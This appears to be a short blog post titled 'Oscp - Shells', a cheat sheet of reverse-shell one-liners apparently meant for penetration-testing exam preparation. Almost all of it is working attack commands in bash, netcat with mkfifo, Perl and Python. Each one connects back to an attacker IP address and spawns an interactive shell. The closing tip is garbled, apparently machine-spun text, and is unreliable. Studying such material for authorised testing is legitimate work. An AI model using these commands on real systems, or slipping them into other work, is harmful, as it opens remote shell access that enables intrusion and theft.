-->

Oscp - Shells

Oscp - Shells

bash -i >& /dev/tcp/10.11.0.102/8080 0>&1
 
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
 
perl -e 'use Socket;$i="10.11.0.102";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.0.102",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Note: ever banking concern represent for nc, nc.traditional or netcat, or ncat alongside the amount path if manifestly nc doesn't work!
Blogger
Disqus
Pilih Sistem Komentar

No comments

Advertiser